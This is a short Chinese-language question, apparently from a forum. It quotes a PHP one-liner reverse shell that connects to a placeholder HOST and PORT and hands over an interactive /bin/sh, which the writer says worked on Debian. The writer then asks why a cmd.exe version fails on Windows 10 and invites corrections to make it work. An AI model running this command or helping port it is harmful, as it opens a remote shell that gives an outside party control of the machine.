我在 Debian GNU/Linux 11(bullseye)shell 上尝试了这个命令:
php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
,
并且成功运行。
但是,当我尝试在 Windows 10 CMD 上运行相同的命令并进行微小改动时:
php -r "$sock=fsockopen('HOST',PORT);exec('cmd.exe -i <&3 >&3 2>&3');"
,
它的行为与在 Linux 上运行时不同。我相信行为的改变是因为 Linux 的文件描述符和 Windows 的文件句柄语法不同,但如果它影响到归因于这些操作系统之间行为的改变,请随意更正命令的其他部分。